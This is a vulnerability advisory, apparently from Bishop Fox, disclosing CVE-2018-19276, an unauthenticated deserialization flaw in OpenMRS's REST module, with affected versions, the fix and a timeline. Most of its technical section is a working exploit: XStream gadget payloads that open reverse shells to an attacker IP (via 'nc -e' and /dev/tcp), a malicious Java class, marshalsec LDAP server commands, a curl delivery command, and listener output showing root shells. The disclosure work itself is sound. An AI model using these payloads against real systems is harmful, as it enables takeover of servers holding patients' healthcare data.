Product Description
OpenMRS is a collaborative open-source project through which users can develop software to support healthcare in developing countries. In 2017, OpenMRS was implemented on more than 3,000 sites and stored information for over 8.7 million active patients. The application's official website is https://openmrs.org.
Vulnerabilities List
One vulnerability was identified within the OpenMRS Platform:
- Insecure object deserialization
The vulnerability is described in detail following this summary.
Impact
This vulnerability is considered as critical because an attacker could gain a shell access to the server without an account or privileges. In addition to that, given the type of information stored in OpenMRS, an exploitation could lead to a leakage of sensitive healthcare data.
Affected Versions
Versions before and including 2.1.3. All versions of OpenMRS that use the webservices.rest module:
• All versions of OpenMRS Platform 1.10.X
• All versions of OpenMRS Platform 1.11.X except 1.11.8 and 1.11.9
• All versions of OpenMRS Platform 1.12.X
• All versions of OpenMRS Platform 2.0.X
• All versions of OpenMRS Platform 2.1.X
NOTE: As of November 21, 2018, the assessment team does not know why versions 1.11.8 and 1.11.9 are not affected by this vulnerability.
Solution
Update the webservices.rest module - the vulnerability was addressed in version 2.24.0. (Read OpenMRS instructions here.)
We'd like to thank the developers at OpenMRS for working with us in the disclosure process. They were easy to work with, professional, and willing to put in hours during the holiday season to ensure a solution.
Insecure Object Deserialization on the OpenMRS Platform
Vulnerability Details
CVE ID: CVE-2018-19276
Access Vector: Remote
Security Risk: Critical
Vulnerability: CWE-502
CVSS Base Score: 10.0
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Java 8 Environment
By injecting an XML payload in the following body request to the REST API provided by the application, an attacker could execute arbitrary commands on the remote system. The request below could be used to exploit the vulnerability:
POST /openmrs/ws/rest/v1/xxxxxx HTTP/1.1 Host: HOST Content-Type: text/xml
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/sh</string>
<string>-c</string>
<string>nc -e /bin/sh 172.16.32.3 8000</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
The payload above was generated with the marshalsec tool and adapted to use multiple arguments because the original payload would not work well if the attacker need to send several arguments to a Linux host.. After the payload was sent, the handler successfully received a response:
~ » nc -vlp 8000 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: 5DE4 9A26 3868 367D 8104 B043 CE14 BAD6 5CC9 DE51 Ncat: Listening on :::8000 Ncat: Listening on 0.0.0.0:8000 Ncat: Connection from 172.16.32.2. Ncat: Connection from 172.16.32.2:52434. id uid=0(root) gid=0(root) groups=0(root) pwd /usr/local/tomcat
The response should contain an error message similar to the one below:
{"error":{"message":"[Could not read [class org.openmrs.module.webservices.rest.SimpleObject]; nested exception is org.springframework.oxm.UnmarshallingFailureException: XStream unmarshalling exception; nested exception is com.thoughtworks.xstream.converters.ConversionException: java.lang.String cannot be cast to java.security.Provider$Service …omitted for brevity…
The response above showed that the REST Web Services module was unable to process the request properly. However, the payload was deserialized before it is caught by the exception handler, which allowed the team to gain shell access.
Java 7 Environment
Java 7 could be used to run OpenMRS, although the payload used in the Java 8 exploit above would not work. However, the Java Development Kit (SDK) offers a gadget to perform the exploitation that would allow an attacker to gain shell access. The marshalsec tool was used to generate the expected payload.
Unlike the first case, the Java 7 exploitation process was conducted in multiple stages. First, a malicious Java class was written to be injected in the targeted environment. After that, an LDAP server was started on the attacker host to provide the compiled Java class within the response of all requests.
The payload, shown below, was developed as a proof-of-concept (PoC) exploitation class:
Exploit.java public class Exploit { static { System.err.println("Pwned"); try { String[] cmd = {"/bin/bash","-c","0<&196;exec 196<>/dev/tcp/172.16.32.3/4444; sh <&196 >&196 2>&196"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } } }
The waitFor() method is useful because it prevents the application from crashing. The IP address 172.16.32.3 and the port 4444 were connected to the attacker host.
The assessment team, acting as an attacker, had to compile the previous Exploit.java file into a bytecode class file. The following command line was used:
~ » /usr/lib/jvm/java-1.7.0-openjdk-amd64/javac Exploit.java
The compiled Java class was moved to the /tmp/ (Temp) directory. An attacker would need to start a simple web server on the attacker host. (In this case, the team used Python to do that.)
/tmp » python -m SimpleHTTPServer 8000 Serving HTTP on 0.0.0.0 port 8000 ...
A listener has been started using the tool Netcat. The port 4444 is the value used in the Exploit.java file previously created.
/tmp » nc -vlp 4444 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: D8E0 2CF8 CC88 1B97 3C11 562F F668 6931 C855 916A Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444
The team used the marshalsec tool to simulate an LDAP server by using the command line:
~ » java -cp /directory/to/marshalsec/application/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.16.32.3:8000/#Exploit"
At this time, three terminals opened and everything was configured to provide the malicious class to the targeted application. The issue was exploited using the JdbcRowSet gadget found by @Matthias_kaiser:
<java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="org.apache.commons.beanutils.BeanComparator"> <property>databaseMetaData</property> <comparator class="java.util.Collections$ReverseComparator"/> </comparator> </default> <int>3</int> <com.sun.rowset.JdbcRowSetImpl serialization="custom"> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>ldap://172.16.32.3:1389/obj</dataSource> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default> <iMatchColumns> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> </iMatchColumns> <strMatchColumns> <string>foo</string> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> </strMatchColumns> </default> </com.sun.rowset.JdbcRowSetImpl> </com.sun.rowset.JdbcRowSetImpl> <com.sun.rowset.JdbcRowSetImpl reference="../com.sun.rowset.JdbcRowSetImpl"/> </java.util.PriorityQueue> </java.util.PriorityQueue>
The ldap connection string within the file above was changed by the attacker IP address and saved to the location /tmp/ldap.txt.
By using the following cURL command, the payload was sent to the REST API using POST method:
/tmp » curl http://172.16.32.4.4/openmrs/ws/rest/v1/concept -H "Content-Type: text/xml" -X POST --data-binary "@/tmp/ldap.txt"
On some versions, the payload needs to be sent to an existing endpoint (e.g., /concept) and on others, the payload needs to a non-existing class (e.g., /conxxcept).
The cURL command sent the content of the file located at /tmp/ldap.txt, which contained the gadget. Once the gadget was executed, the Exploit.class file was provided and injected into the targeted application. The execution of the malicious Java file led to remote shell access. Port 4444 of the attacker host received the connection. Note that no error was displayed in the HTTP response:
/tmp » nc -vlp 4444 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: D8E0 2CF8 CC88 1B97 3C11 562F F668 6931 C855 916A Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.16.32.4. Ncat: Connection from 172.16.32.4.4:36722. id uid=0(root) gid=0(root) groups=0(root) pwd /usr/local/tomcat ls webapps ROOT docs examples host-manager manager openmrs openmrs.war
Depending of the way the application was deployed, the remote command injection could give different permissions. For example, if the Docker image was used, an attacker would gain full administrative privileges, as shown in the figure above.
Disclosure Timeline
- October 6, 2018: Initial discovery on OpenMRS Reference application version 2.8.0 (with all modules)
- November 11, 2018: Tested on OpenMRS Reference application version 2.5 (with all modules)
- November 18, 2018: Tested all OpenMRS Platform releases
Researcher
Nicolas Serra, Security Associate at Bishop Fox
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.